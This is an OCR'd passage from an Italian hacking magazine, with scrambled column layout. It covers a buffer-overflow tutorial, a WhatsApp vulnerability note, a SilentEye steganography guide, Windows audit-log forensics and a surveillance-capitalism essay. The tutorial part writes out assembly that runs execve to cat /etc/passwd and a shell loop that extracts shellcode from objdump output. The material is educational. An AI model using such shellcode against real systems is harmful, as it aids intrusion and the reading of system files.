assegnando valori opportuni lea rdi, [rel bin] la direttiva align N il cui scopo
ai registri coinvolti. lea rsi, [rel è allineare la variabile/istruzione
args] successiva su un byte pari al
L’INDIRIZZO REALE xor edx, edx numero riportato. Tecnica spesso
Come tutti i programmi esistono syscall usata per ottimizzare il
diversi modi per ottenere posizionamento della struttura
il medesimo risultato, quello La sintassi utilizzata è quella in memoria poiché le nuove
riportato è parso il più intuitivo dell’assemblatore NASM (Netwide architetture x86 hanno una
poiché segue, per certi versi, Assembler). Nella sezione .rodata lunghezza di parola superiore
il filo logico del programma C (read-only data) vengono riportate e multipla di 8 bit (32 o 64 bit).
e degli output riportati nelle costanti statiche come /etc/passwd Ciò significa che in un’unica
figure precedenti. e /bin/cat, indicate dalle etichette posizione di memoria è possibile
Va da sé che, laddove se ne hanno arg2, con riferimento al secondo memorizzare 4 o 8 byte di dati.
le capacità, niente e nessuno vieta argomento della syscall execve(), A questo punto inizia la sezione
di crearne una propria versione e bin per il primo argomento, il .text che dice all’assemblatore di
ottimizzata e migliorata. programma da eseguire. Va da sé passare al segmento dove viene
In un editor di testi si riportino che è possibile utilizzare qualsiasi memorizzato il codice. La prima
istruzione è mov rax, 59 che già
Nel corso degli anni, i buffer overflow conosciamo; memorizza nel
registro %rax il codice 59 che
hanno colpito di tutto, non solo i identifica univocamente la
computer ma anche stampanti, router, execve(). Seguono due istruzioni
macchine fotografiche e altro ancora lea (Load Effective Address) che

 46
BUFFER OVERFLOW
calcolano l’indirizzo effettivo nasm -f elf64 Elenco_assembly. del codice con in più gli opcode
del secondo operando (operando asm che, di default, creerà un file di corrispondenti [figura #4]. Allora,
di origine o sorgente) e lo nome Elenco_assembly.o dal da un punto di vista di principio,
memorizzano nel primo operando quale è possibile creare l’eseguibile al netto di ottimizzazione e verifiche
(operando di destinazione), un Elenco_assembly con ld -o Elenco_ è sufficiente copiare gli opcode
generico registro. Nel nostro caso assembly Elenco_assembly.o. nell’ordine riportato dall’output di
non potranno essere due registri Il comando ld è il linker in ambiente objdump realizzando una stringa
generici ma dovranno GNU/Linux, ovvero il programma in esadecimale, per esempio \xb8\
corrispondere ai registri del primo che integra i moduli – cioè codice x3b\x00\x… e via a seguire. Molto
e secondo argomento della oggetto e librerie – a cui il più semplicemente tramite una riga
execve() ovvero %rdi e %rsi. Infine programma fa riferimento al fine di script di shell si può effettuare
si deve caricare il registro %rdx di creare un eseguibile da poter l’estrazione automaticamente:
con un null byte, funzione espletata avviare. Gli interessati possono fare
dall’istruzione xor edx, edx. Quindi riferimento a man 1 ld. A questo for i in $(objdump -d elenco_
si invoca l’istruzione syscall che punto lanciando il file Elenco_ assembly.o -M intel | grep “^
ritorna il valore trovato in %rax, assembly otterremo esattamente “ | cut -f2); do echo -n
ovvero 59, che lancerà la execve() lo stesso risultato del programma ‘\x’$i; done; echo
con gli argomenti presenti nei in C [figura #4]. Un passaggio
registri %rdi, %rsi e %rdx. un po’ laborioso ma che permette Questo script fornirà come output
di comprendere un minimo la la stringa visibile in [figura #5], cioè
VERIFICARE IL CODICE dinamica che c’è dietro. Rimane, lo shellcode completo per il
Questo programma di poche righe però, un ultimo passo da compiere programma realizzato in C.
in linguaggio Assembly avrà prima di terminare questo C’è un altro punto da risolvere:
il medesimo funzionamento del appuntamento; come ricaviamo lo come iniettare questo codice come
programma in C? Per scoprirlo shellcode? Il comando objdump -d input a un programma vulnerabile?
occorre dapprima assemblarlo, elenco_assembly.o -M intel La risposta al prossimo
funzione espletata dal comando fornisce in output il disassemblato appuntamento.

WHATSAPP: VULNERABILITÀ SOTTO LA LENTE!

P ersino WhatsApp è risultata vulne-


rabile a un buffer overflow. Infatti il
gruppo di ricerca di Check Point Rese-
to una possibile perdita di informazioni
sensibili. Un’immagine è vista come
un’array di dati dove ogni gruppo di 4
arch (https://bit.ly/hj259_vuln) ha byte rappresenta un pixel secondo la
scoperto una grave vulnerabilità, or- codifica RGBA. Pertanto, la funzione
mai risolta, capace di generare un buf- applyFilterIntoBuffer() non considera
fer overflow in caso di applicazione di tale codifica e analizza l’immagine
filtri alle immagini. Il problema è stato (l’array) a blocchi di 4. Tuttavia, qualora
riscontrato nella funzione applyFilte- l’immagine sia realizzata “su misura”
rIntoBuffer() della libreria libwhat- in modo che ogni pixel sia di un solo
sapp.so che accetta qualsiasi tipo di byte, la funzione tenterà di leggere 4
immagine senza effettuare particolari volte l’ammontare dello spazio nel buf-
controlli. Possiamo dire che l’invio di fer sorgente. Il risultato è l’accesso a L’applicazione di un filtro
un’immagine a un contatto WhatsApp, parti di memoria non autorizzate cau- a un’immagine in WhatsApp
modificata tramite l’applicazione di fil- sate da buffer overflow nella lettura genera un pericoloso
tri, e il successivo reinoltro, crea di fat- dell’immagine con pixel da 1 byte. buffer overflow.

47 
HOW TO

L’ARTE DI NASCONDERE
I FILE DENTRO AI FILE
Che sia per veicolare informazioni cospirazioniste o per sana
voglia di comunicare in segreto con qualche amico hacker,
questa è la tecnica giusta per farlo!

L
IN BREVE  a steganografia, termine conosce la chiave per decifrare il
composto dalle parole greche messaggio nascosto è in grado di
Impariamo a utilizzare
il software SilentEye steganos (coperto) e grafia ricostruirlo e comprenderne davvero il
per nascondere un (scrittura) ha origini antiche senso. Data la sua efficacia e, più in
messaggio all’interno (tracce di tale tecnica sono state generale, considerate le sue velleità
di un’immagine ritrovate nell’antica Grecia ai tempi complottistiche e cospirazioniste, si è
o di un file audio.
di Erodoto) ed è volta a nascondere tramandata sino ai giorni nostri,
DIFFICOLTÀ la comunicazione tra due interlocutori, declinandosi inevitabilmente in chiave
celando il messaggio all’interno digitale. Quando scorrete le pagine di
di contenuti in apparenza normali un blog underground o di un sito Web
(articoli, immagini, testi…): solo chi tendenzialmente borderline, siete
davvero sicuri che ciò che vedete
a schermo non contenga in realtà

Alcune dritte per un PDF, un TXT o un “video


proclama” con un piano segreto
massimizzare il risultato per sovvertire l’ordine mondiale
o boicottare il governo?

C ome si vedrà, lo “spazio” per nascondere un messaggio/file dentro


a un altro è strettamente legato agli “octets” disponibili. Per far sì
che questi siano sufficienti è necessario utilizzare immagini contenito-
CONOSCERE SPERIMENTANDO
Per capire come si fa a creare un file
re particolarmente grandi (in termini di Megapixel e quindi di spazio steganografato, non è necessario
occupato). Per crittare i dati in maniera sicura e renderli visibili in chia- digitare complesse righe di comando:
ro solo tramite inserimento di una password robusta, in fase di codifica, è possibile utilizzare dei tool
prima di premere Encode, cliccate con interfaccia grafica che
Enable encryption: lasciate la semplificano al massimo tutta
crittografia AES256 e digitate due l’operazione. Tra questi abbiamo
volte la parola chiave nei campi provato SilentEye (https://bit.ly/
Key. In fase di decodifica, per vi- silenteyesoftware), un software
sualizzare il messaggio o file na- Open Source, scritto in Qt,
scosto, sarà ovviamente necessa- disponibile per piattaforma
rio utilizzare (oltre alle opzioni di Windows, macOS e Linux.
codifica) anche la chiave AES256. Mettetelo subito alla prova.

 48
STEGANOGRAFIA
Messaggi in bottiglia? Estrazione del
No, in un file! contenuto segreto
#1 #1

Installate SilentEye sul PC ed eseguitelo. Da File > Ipotizzate di aver pubblicato l’immagine appena
Open caricate l’immagine (BMP o JPEG) o il file audio generata sul vostro sito Web e di aver comunicato
(WAV) che fungerà da contenitore per il messaggio che ai lettori/seguaci (ovviamente con altri strumenti)
andrete a nascondere (PDF, TXT, DOC, immagine ecc.). le informazioni necessarie per la decodifica. Ebbene,
In alternativa potete trascinare il file direttamente questi non devono fare altro che installare SilentEye,
nell’area drag and drop e cliccare Encode. scaricare l’immagine e trascinarla nel software.

#2 #2

In Options potete intervenire sulla compressione del Cliccando Decode, in basso a sinistra, si aprirà
file (JPEG quality) e su una serie di parametri necessari la schermata per l’inserimento dei parametri.
a codificare il “messaggio”. Questi sono relativi alla Rispettando quanto fatto in sede di codifica, impostate
posizione dell’Header del file occultato, all’intervallo Luminance interval (k) su 16, dal menu a tendina
di luminanza coinvolto (Luminance interval) e alla Header position selezionate top e in Passphrase
parola chiave (Passphrare) che è personalizzabile. digitate la parola chiave utilizzata: segreto_1@.

#3 #3

Nel box in basso a sinistra potete digitare il messaggio Non vi resta che cliccare su Decode in basso a destra
da nascondere. In alternativa potete occultare un file e attendere che il messaggio segreto appaia in chiaro
caricandolo con il pulsante in basso a destra. Tenete sullo schermo. Qualora le opzioni inserite non
d’occhio il valore degli octets disponibili: se li superate, dovessero corrispondere a quelle utilizzate in fase
il file di output non sarà generato. Cliccando Encode di decodifica verrà visualizzato l’errore This media
generate il file nel percorso indicato in Destination. don’t seem to have an hidden message.

49 
HOW TO

Accessi al Grazie all’audit


di Windows, ricostruiamo
le attività di ogni

filesystem! utente sul filesystem


del nostro PC!

OTTAVA P
A RTE

C
on la puntata di oggi CONTROLLI E GRANULARITÀ
IN BREVE 
concludiamo questa serie La verifica di cui stiamo parlando è resa
Impariamo a usare sull’audit di Windows, una possibile proprio dalla granularità
gli strumenti di analisi
funzionalità di grande utilità che il sistema di log di Windows, se
dei log del sistema
operativo di casa per chi vuole il pieno controllo delle opportunamente configurato, è in grado
Microsoft. operazioni compiute sulla propria di offrire, consentendoci di esaminare le
macchina. Questa funzionalità registrazioni di eventi interessanti sotto
DIFFICOLTÀ
non è abilitata di default (potete farlo il profilo della sicurezza, come:
seguendo le istruzioni del box Attivare • i tentativi di login sul PC (distinguendo
l’audit), anche in considerazione dei tra quelli avvenuti con successo e quelli
requisiti di memorizzazione richiesti: la negati), così come i successivi logoff;
gestione dei log che tracciano le attività • la creazione di utenti e/o gruppi
degli utenti richiede un certo spazio su di sicurezza e la loro cancellazione;
disco, che è bene riservare ampliando le • l’aggiunta e la rimozione di un utente
dimensioni del registro Security che li da un gruppo;
ospita (vedi il box Impostazioni del • la rimozione dei log dal registro;
registro). Una volta soddisfatti tali • l’avvio di programmi e, più in generale,
requisiti, l’abilitazione delle funzionalità l’utilizzo del filesystem, distinguendo
di audit ci consente un controllo molto gli accessi sino a livello di file.
dettagliato delle operazioni compiute Nostro inseparabile compagno in
sul sistema, caratteristica che si presta queste verifiche è Event Viewer (vedi
a una verifica della presenza di il box omonimo), che talvolta abbiamo
un’eventuale attività malevola in atto integrato usando PowerShell.
a nostra insaputa sulla macchina.
EVENTI & FILESYSTEM
Attraverso tali strumenti, nelle ultime
figura #1 puntate ci siamo lanciati nell’analisi degli
eventi connessi al filesystem, di cui
abbiamo avviato la registrazione
configurando (come descritto nel box
Audit & filesystem) l’audit sulla
directory C:\IMPORTANTE della
macchina virtuale utilizzata per i test.
In questo modo abbiamo avuto la
Un esempio dell’evento
possibilità di individuare e studiare gli
con ID 4656.
eventi d’interesse in un’indagine di
questo tipo, caratterizzati dagli ID:

 50
LOG DI WINDOWS
tuttavia, non si trova nell’esame dei
singoli eventi, quanto piuttosto
nell’individuazione – all’interno
delle migliaia di voci di log presenti
nel registro Security – degli eventi
relativi all’oggetto d’interesse e
nella loro successiva correlazione.

HANDLE ID
Per fortuna tra le informazioni
riportate nella sezione Object di

figura #2 ciascun evento è presente un


campo denominato Handle ID, in
Un esempio dell’evento grado di identificare univocamente
con ID 4663.
un oggetto tra due reboot
consecutivi della macchina.
Con l’Handle ID di un file, quindi,
interessato dall’attività (nella è possibile ricostruire tutte
• 4656, “An handle to an object was sezione Object); le attività compiute su di esso
requested” [figura #1], generato • il nome del programma dal momento dell’avvio del sistema
ogniqualvolta un utente prova attraverso il quale l’accesso è stato operativo sino al successivo
ad accedere a una risorsa (come richiesto o si è concretizzato reboot. Utilizzando questo
un file oppure una directory) (sezione Process Information); stratagemma, nella scorsa puntata
sottoposta ad audit; • la tipologia di accesso richiesto siamo riusciti a realizzare una
• 4663, “An attempt was made (sezione Access Request query XPath [figura #4]
to access an object” [figura #2], Information). per ricostruire tutti gli accessi
prodotto invece quando si Insomma: osservando effettuati su un file sensibile,
concretizza il tentativo d’accesso attentamente gli eventi 4656, 4663 che abbiamo poi scoperto essere
loggato dall’evento 4656; e 4658 è possibile ottenere una stato consultato da utente2,
• 4658, “The handle of an object “fotografia” molto dettagliata l’utente di prova utilizzato
was closed” [figura #3], che infine di quanto avvenuto sul nostro nei nostri test per simulare l’attività
segnala l’avvenuta chiusura di un filesystem. La vera difficoltà, di un attore malevolo.
file, tracciando il momento in cui
il processo e l’utente individuati
dall’evento 4656 hanno terminato
di utilizzare l’oggetto.
Attivare l’audit
Prima di lanciarci nell’analisi dei log di Windows è necessario attivare
le funzionalità di audit del sistema operativo, mediante le seguenti
CONTENUTI INFORMATIVI operazioni:
Ciascuno di questi eventi fornisce • effettuare il login alla macchina Windows 10 come amministratore;
tutte le informazioni necessarie a • avviare il Local Group Policy Editor digitando il comando gpedit.msc
nella barra di avvio rapido;
ricostruire l’attività compiuta sul
• selezionare, nel menu a sinistra, il percorso Computer Configuration >
sistema (e sul filesystem), tra le Windows Settings > Security Settings > Local Policies > Audit Policy;
quali vale la pena di citare: • fare doppio click su ciascuna voce comparsa nel pannello destro della
• i dati del soggetto che ha provato finestra (tranne la voce “audit directory service access”, che non ci
a eseguire l’operazione tracciata interessa in quanto non stiamo analizzando dei PC attestati a un
dominio) e selezionare, nella finestra di dialogo che verrà visualizzata,
(solitamente individuato all’interno entrambe le opzioni Success e Failure;
della sezione Subject); • chiudere la finestra.
• la descrizione dell’oggetto

51 
HOW TO
FOCUS SULL’UTENTE
figura #3 Si tratta di un ottimo risultato,
ma se volessimo di più? Sebbene
per determinati file (come quello
relativo alle credenziali bancarie)
sia opportuna una verifica ad hoc,
nella stragrande maggioranza dei
casi più che il singolo file quello che
ci interessa è il quadro d’insieme:
capire, cioè, quali siano le
operazioni (tutte le operazioni!)
compiute da un utente sul
filesystem. In questo modo
è possibile comprendere, per
esempio, se sia stato installato
un qualche programma malevolo,
invocato un determinato
programma di sistema, inseriti
nuovi file o modificati quelli
esistenti: esattamente quel tipo di
attività associate a un’intrusione.
Un esempio dell’evento
con ID 4658. QUERY XPATH
Per spostare il focus delle nostre
interrogazioni dal file all’utente è
necessaria una modifica alla query
Audit & filesystem XPath realizzata nella scorsa
Per poter esaminare i log degli accessi al filesystem, dobbiamo innanzitutto puntata, che sostituisca la
attivare l’audit su (almeno) una delle directory del nostro disco. A tal fine: condizione relativa all’Handle ID
• creiamo una directory ad hoc sotto il disco C: che chiameremo con una in grado di filtrare i soli
IMPORTANTE, quindi clicchiamo con il tasto destro del mouse sulla cartella eventi prodotti da Windows a
e selezioniamo dal menu contestuale la voce Properties;
seguito delle attività di utente2.
• selezioniamo il tab Security e clicchiamo il pulsante Advanced;
• nella nuova finestra così visualizzata dobbiamo selezionare – ancora una Qualcosa del genere, insomma:
volta – il tab Auditing, avendo cura di confermare la nostra scelta mediante
la pressione del tasto Continue; <Query List>
• finalmente avremo accesso alla finestra per l’impostazione dell’audit sulla <Query Id=“0”
directory: premiamo il pulsante Add per aggiungere quella che Windows
chiama audit entry, quindi clicchiamo Select a principal per selezionare Path=“Security”>
il target dell’audit (è sufficiente digitare il nome users nel campo Enter the <Select
object name to select e premere successivamente Check names per Path=“Security”>
vedere finalmente selezionato il gruppo Users della nostra macchina
locale, e sottoporre così ad audit ogni accesso degli utenti sulla cartella);
*[System[(EventID>0)]]
• confermiamo la nostra scelta premendo il pulsante OK quindi, una volta
tornati alla finestra per l’impostazione dell’audit, assicuriamoci di and
selezionare i checkbox relativi alle attività che intendiamo monitorare, *[EventData[Data[@
ovvero: read & execute, list folder contents, read, write; Name=‘SubjectUserName’
• premiamo il tasto OK per confermare le operazioni compiute e chiudere ]=‘utente2’]]
tutte le finestre aperte nel corso del procedimento;
• riempiamo la nostra directory con un congruo numero di file </Select>
da monitorare. </Query>
</Query List>

 52
LOG DI WINDOWS
Impostazione
del registro
Per impostare una dimensione
adeguata del registro Security, è
sufficiente avviare Event Viewer,
fare click con il pulsante destro
sul nome del registro, quindi
selezionare la voce Properties
dal menu contestuale che viene

figura #4
visualizzato. Per modificare
la lunghezza massima occorre
agire sul valore Maximum log
La query XPath per
size (KB): impostiamolo
individuare gli accessi al file
a 100.032 KB, ovvero 100 MB.
con Handle ID pari a 0x11c. In questo modo possiamo
garantire una dimensione
adeguata per i nostri
esperimenti, evitando che alcuni
degli eventi da noi prodotti
possano essere sovrascritti (e
quindi vadano “persi”) a causa
dell’esiguità del limite impostato
di default da Windows.

pulsante OK, possiamo finalmente


figura #5 vedere il risultato dell’esecuzione
Con la query effettuata della query: nonostante le
abbiamo ridotto gli eventi accortezze che abbiamo adottato,
visualizzati, ma sono il numero di eventi ottenuto [figura
ancora troppi per un #5] risulta ancora troppo elevato
esame manuale. per un esame manuale.

FILTRO AGGIUNTIVO
In questo codice, per l’appunto, pannello sinistro), quindi Per restringere i risultati della
viene chiesto di mostrarci qualsiasi premiamo il pulsante Filter nostra interrogazione, dobbiamo
evento (System[(EventID>0)]) current log per avviare necessariamente aggiungere
imputabile a utente2 una query guidata; un’ulteriore condizione in grado di
(EventData[Data[@ • inseriamo un ID da filtrare circoscrivere gli eventi d’interesse,
Name=‘HandleId’]=’0x11c’). a piacere, per esempio il 4656; eliminando quelli superflui. Per
• spostiamoci sul secondo tab, esempio, se siamo interessati alle
EVENT VIEWER denominato XML, in modo da attività poste in essere da utente2
Per eseguire la query dobbiamo visualizzare la query XPath sul prompt dei comandi (un tool
innanzitutto avviare Event Viewer. corrispondente ai criteri di filtro spesso utilizzato dagli attaccanti
Il procedimento da seguire non sinora inseriti; nel corso di un’intrusione),
è complesso: • selezioniamo la check box Edit possiamo affinare la query
• dalla schermata principale query manually, quindi inseriamo in questo modo [figura #6]:
del programma, selezioniamo l’interrogazione che abbiamo
il registro Security (percorso appena elaborato. <Query List>
Windows Logs | Security sul A questo punto, se clicchiamo sul <Query Id=“0”

53 
HOW TO
Event Viewer
Il tool che utilizziamo in questa
serie per accedere al registro
Security di Windows è Event
Viewer, che può essere avviato
direttamente dal menu Start
di Windows, inserendone
il nome all’interno della barra
d’avvio rapido (se il sistema
operativo è in italiano,
il nome da utilizzare è invece
Visualizzatore d’eventi).
L’applicazione si presenta
suddivisa in vari riquadri:

figura #6 • un riquadro sinistro, attraverso


il quale è possibile selezionare
la tipologia di log da consultare
Ecco la nostra query XPath con
(Windows li raccoglie in cinque
una seconda condizione che
grandi gruppi, ma noi siamo
ne consente un ulteriore
interessati solo al registro
affinamento. denominato Security);
• un riquadro destro, che fornisce
scorciatoie per le principali
attività eseguibili sui log;
• due riquadri centrali, uno
Path=“Security”> dei comandi – su uno specifico file. superiore (per la visualizzazione
<Select La query, in questo caso, diventa dell’elenco degli eventi del
registro d’interesse) e uno
Path=“Security”> [figura #8]:
inferiore (in cui vengono
mostrate le informazioni di
*[System[(EventID>0)]] <Query List> dettaglio di ciascun singolo
and <Query Id=“0” evento selezionato).
*[EventData[Data[@ Path=“Security”>
Name=‘SubjectUserName’ <Select *[EventData[Data[@
]=‘utente2’]] Path=“Security”> Name=‘SubjectUserName’
and ]=‘utente2’]]
*[EventData[Data[@ *[System[(EventID>0)]] and
Name=‘ProcessName’]=‘C:\ and *[EventData[Data[@
Windows\System32\cmd.exe’]]
</Select>
</Query>
</Query List>

ottenendo un numero di risultati


decisamente più ristretto [figura
#7], nonché più focalizzato sulla
nostra specifica esigenza.

TERZA CONDIZIONE
figura #7
Ma possiamo fare anche di meglio: Adesso abbiamo
un’ottantina di eventi:
scoprire quali delle attività
si può fare ancora di
presentate in output siano state meglio?
compiute – utilizzando il prompt

 54
LOG DI WINDOWS
Name=‘ProcessName’]=‘C:\
Windows\System32\cmd.exe’]]
and
*[EventData[Data[@
Name=‘ObjectName’]=‘C:\
IMPORTANTE\file_importante.
txt’]]
</Select>
</Query>
</Query List>

ed è in grado di restringere
figura #8 i risultati ad appena due eventi
[figura #9].
La query XPath con la terza e
ultima condizione.
TIPO DI ACCESSO
Vale la pena soffermarsi sui risultati
di questa query. Gli eventi ottenuti,
infatti, possono dirci molto circa
le attività effettivamente compiute
da utente2 sul file. Non solo
sappiamo che l’utente ha richiesto
di accedere al file C:\IMPORTANTE\
file_importante.txt (come
testimonia l’evento 4656) ma anche
che ha concretamente esercitato
l’accesso richiesto (evento 4663).
figura #9 Si tratta di due informazioni già di
Adesso sì che si può per sé abbastanza allarmanti, ma
esaminare manualmente cosa è stato fatto sul file di preciso?
l’output della query: si Qualcuno ha alterato le nostre
tratta di due soli eventi! credenziali (che magari abbiamo
difficoltà a ricordare, ecco perché
erano state appuntate proprio su
quel file) per impedirci di accedere
mentre fa incetta dei nostri
risparmi? Per “fortuna” non è così:
utente2 si è limitato ad accedere
in lettura, come conferma l’evento
4656, in cui sono riportati
esplicitamente i permessi richiesti
sul file. Come possiamo notare
[figura #10] si tratta di permessi
figura #10 di lettura (read): dunque il file
dovrebbe essere ancora integro,
L’accesso al file da parte
sebbene i suoi contenuti siano
dell’utente malevolo è
avvenuto in lettura.
adesso noti a una persona non
autorizzata…

55 
HACKULTURE

FACEBOOK
E IL MALE,
MA GOOGLE
E I L S U O M A E S T R O
ll or i? M ar k Zu ck er be rg ha imparato
ntro
Chi controlla i nuovi co i da ti da ll e pe rs one grazie al lavoro
iz za re
come estrarre e monet ag e e Se rg ei Brin. L’ignoranza
La rr y P
fatto venti anni fa da
en ti da se m pr e è cr uciale per il successo
degli ut

M
ark Zuckerberg di dollari) è una delle ragioni che lasciamo dietro di noi ogni
è il primo follower per cui le loro attività sono giorno e da algoritmi segreti
di Sergei Brin pericolose. Google e poi che costruiscono profili
e soprattutto Facebook lavorano alla fantasma della nostra vita,
di Larry Page. L’azienda-una- costruzione di quella che è stata anche a nostra insaputa,
volta-conosciuta-come- definita da Shoshana Zuboff, per la pubblicità ma anche
Facebook, cioè Meta, è in realtà professoressa della Harvard per la manipolazione diretta,
un modo per riprendere Business School e autrice del non solo commerciale.
da dove è arrivato Google libro Il capitalismo della
e potenziare al massimo sorveglianza, la “più grande FRANCES HAUGEN
l’estrazione dei dati. infrastruttura della storia Le rivelazioni dei wistleblower
La dimensione di queste per l’estrazione dei dati come Frances Haugen hanno
aziende (Facebook ha una dalle persone”. Una macchina mostrato, a partire dal 2016,
capitalizzazione di mercato gigantesca, alimentata dal una serie infinita di documenti
superiore ai mille miliardi numero infinito di tracce digitali che mostrano come Google,
Facebook e in misura
Il Web 3.0 sarà veramente il modo relativamente inferiore anche
Amazon e Microsoft,
di porre fine al capitalismo della estraggano e utilizzino
sorveglianza? Non ne siamo sicuri... le informazioni create

 56
DATI PERSONALI
da governare e organizzare
con la partecipazione di tutti,
in maniera democratica ma,
dice Zuboff, siamo esattamente
all’opposto: sono pochissimi
che decidono cosa fare e tutti
gli altri sono vittime tenute
all’oscuro.

NON È UNA TEORIA


DEL COMPLOTTO
o riconducibili ai Gli utenti non contano niente, Mentre Facebook e gli altri
comportamenti degli utenti i concorrenti sono schiacciati social (ma anche i risultati di
per poter generare pubblicità perché hanno un ritardo Google) sono uno strumento
mirate oltre che manipolare eccessivo e vengono tenuti perfetto per disseminare e far
il flusso delle informazioni fuori gioco con pratiche crescere le teorie del complotto
in maniera tale che aumenti monopoliste anticompetitive, più cervellotiche, quello che
l’engagement sulle piattaforme, e i governi sono accecati. succede realmente non si
il consumo e di conseguenza L’informazione è il bene capisce più. Eppure, come
il guadagno. Secondo
la professoressa Zuboff,
a p it a li sm o d e ll a so rveglianza
“non c’è modo di fuggire da Il c
nzione
e l’economia dell’inte
questo sistema che ci controlla,
sia che stiamo facendo
la spesa, guidando l’auto, possibili occasioni di vendita
camminando nel parco, Che differenza c’è tra il motore e di ulteriore esposizione alla
di ricerca di Google e il wall pubblicità e profilazione. La
guardando un film rilassandoci
di Facebook? All’apparenza maggior parte delle soluzioni
con la nostra famiglia”. Tutte non potrebbero essere più utilizzate dalle due aziende
le modalità di partecipazione diversi: Google è tutto bianco, non fa altro che estrarre dati
economica e sociale alla vita Facebook è blu. Google serve dalla vita “reale” delle persone
comune sono filtrate dal per cercare cose che “ci e costruire una forma di
servono”, Facebook invece ci fa capitalismo della sorveglianza,
capitalismo della sorveglianza
vedere cosa stanno facendo i che oltretutto distorce le
che tramite gli strumenti nostri amici (che foto postano, informazioni per aumentarne
digitali “ha l’obiettivo di quali commenti, quali video, l’engagement.
massimizzare il profitto” quali screenshot). In realtà,
sono esattamente la stessa
seguendo un processo
cosa. L’unica differenza è che
che negli ultimi due anni Facebook ci mostra quello che
di pandemia “ha bruscamente ci interessa senza bisogno di
accelerato”. doverglielo chiedere, mentre
a Google è necessario fare una
domanda, almeno all’inizio.
IL GOVERNO NON Ma anche questo è sempre
NE SA NIENTE meno vero, perché in realtà
Il problema di una Internet aprendo YouTube (che è di
senza regolamentazioni Google), questo servizio utilizza
la profilazione creata dai
è che, in nome della libertà, è
cookie e da altre tecniche
diventata in realtà un Far West di registrazione delle nostre
in cui vige la legge del più forte. attività per generare
automaticamente una lista di
HACKULTURE
Che cos’è Google? il proverbiale elefante
Douglas Edwards, primo nel mezzo della
brand manager di Google, nel stanza, è la raccolta
suo libro “I’m Feeling Lucky” e la manipolazione
racconta cosa ha risposto
dei dati, gestita
alla domanda “Cos’è Google?”
Larry Page, uno dei due attraverso strumenti
co-fondatori dell’azienda. totalmente fuori
“Storage e fotocamere digitali controllo, a governare
costano sempre meno.
sempre più le nostre società.
Le persone genereranno
quantitativi enormi di dati. Se c’è un momento che gli
Tutto quello che vedono storici devono segnarsi è il
o sentono o di cui fanno 2008, quando Zuckerberg aveva IL FUTURO
esperienza diventerà un problema. Gli utenti di L’enorme quantità di soldi
cercabile. Tutta la loro vita
diventerà cercabile”. Il
Facebook crescevano molto accumulata da Facebook
business di Google è diventato velocemente ma i profitti erano e Google ha dimostrato
questo: anziché vendere sempre a zero. Intanto, Google che il capitalismo della
prodotti ai suoi clienti, li diventava ogni giorno più sorveglianza paga.
sorveglia per rivendere i dati
grande e più ricca. Per uscire E oggi tutte le aziende,
acquisiti a terzi e guadagnarci
sopra. E i modi e le tecnologie da questo blocco, Zuckerberg grandi o piccole, vogliono
con cui lo fa sono tenute ha assunto la responsabile la loro fetta: mutue, ospedali,
nascoste agli utenti, ai mondiale della pubblicità assicurazioni, banche,
concorrenti e al legislatore.
online di Google, cioè Sheryl produttori di auto, vendita
Secondo Edwards, Larry Page
“si è sempre opposto in tutti Sandberg, che oggi è il suo al dettaglio, agricoltura,
i modi a qualsiasi soluzione primo ufficiale. Da quel persino la scuola. Tutti capaci
che potesse mettere in momento, così come Google, di trasformare un’attività
pericolo la capacità di Google anche Facebook è diventata economica “umana” in un
di raccogliere dati”. Il lavoro
sempre più aggressiva non solo Moloch digitale che controlla
di Google è stata fonte di
ispirazione per innumerevoli nella raccolta dei dati delle e manipola i dati. Senza
startup, inclusa Facebook. persone ma anche nella loro nessuno che controlli questi
manipolazione e rivendita. nuovi controllori.

RACCOLTA
PDF
HACKER
JOURNAL
Acquista la raccolta
PDF digitale del 2020
12 numeri a soli 7,90 €
anziché 46,80 € vai su
www.hackerjournal.it/raccoltapdf2020

 58
ABBONATI
ALLA TUA RIVISTA PREFERITA
TE LA SPEDIAMO APPENA STAMPATA!

CONSEGNA GARANTITA ENTRO 48H

Con l’abbonamento
cartaceo la versione
digitale è in OMAGGIO!

Riceverai 12 numeri a soli


DISPONIBILE ANCHE SOLO
IN VERSIONE DIGITALE

-28% -57%
CARTACEO DIGITALE
12 numeri 12 numeri
solo 33,90€ solo 19,90€
invece di 46,80€ invece di 46,80€

Scansiona il QrCode per abbonarti oppure contattaci


Telefono online email WhatsApp
02 87168197 www.sprea.it/hackerjournal abbonamenti@sprea.it 329 3922420
Solo messaggi
Informativa ex Art.13 LGS 196/2003. I suoi dati saranno trattati da Sprea SpA, nonché dalle società con essa in rapporto di controllo e collegamento ai sensi dell’art. 2359 c.c. titolari del trattamento, per dare corso alla sua richiesta di abbonamento. A tale scopo, è indispensabile il conferimento dei dati anagrafici. Inoltre
previo suo consenso i suoi dati potranno essere trattati dalle Titolari per le seguenti finalità: 1) Finalità di indagini di mercato e analisi di tipo statistico anche al fine di migliorare la qualità dei servizi erogati, marketing, attività promozionali, offerte commerciali anche nell’interesse di terzi. 2) Finalità connesse alla comunica-
zione dei suoi dati personali a soggetti operanti nei settori editoriale, largo consumo e distribuzione, vendita a distanza, arredamento, telecomunicazioni, farmaceutico, finanziario, assicurativo, automobilistico e ad enti pubblici ed Onlus, per propri utilizzi aventi le medesime finalità di cui al suddetto punto 1) e 2). Per tutte
le finalità menzionate è necessario il suo esplicito consenso. Responsabile del trattamento è Sprea SpA via Torino 51 20063 Cernusco SN (MI). I suoi dati saranno resi disponibili alle seguenti categorie di incaricati che li tratteranno per i suddetti fini: addetti al customer service, addetti alle attività di marketing, addetti al
confezionamento. L’elenco aggiornato delle società del gruppo Sprea SpA, delle altre aziende a cui saranno comunicati i suoi dati e dei responsabili potrà in qualsiasi momento essere richiesto al numero +39 0287168197 “Customer Service”. Lei può in ogni momento e gratuitamente esercitare i diritti previsti dall’articolo 7
del D.Lgs.196/03 – e cioè conoscere quali dei suoi dati vengono trattati, farli integrare, modificare o cancellare per violazione di legge, o opporsi al loro trattamento – scrivendo a Sprea SpA via Torino 51 20063 Cernusco SN (MI).
N E@ H AC KE RJ O U RN A L .i t
REDAZIO

REPLY
n la redazione insieme
Condividi i tuoi dubbi co rresti
menti su quello che vo
a nuove idee e suggeri al.it
vedere sulla rivista: re
dazione@hackerjourn

GLOSSARIO FASCICOLO SANITARIO la percentuale di furti di identità


DI BASE HACKERATO è raddoppiata negli ultimi anni
Per la terza volta in poco più per i minori di 10 anni. Addirittura
METAVERSO di un mese non ho potuto i furti di identità per i minori sono
Network di mondi virtuali 3D
accedere al mio fascicolo ormai 35 volte superiori a quelli
basati sulla connessione
sanitario a causa di attacchi osservati ai danni degli adulti nella
social dei partecipanti.
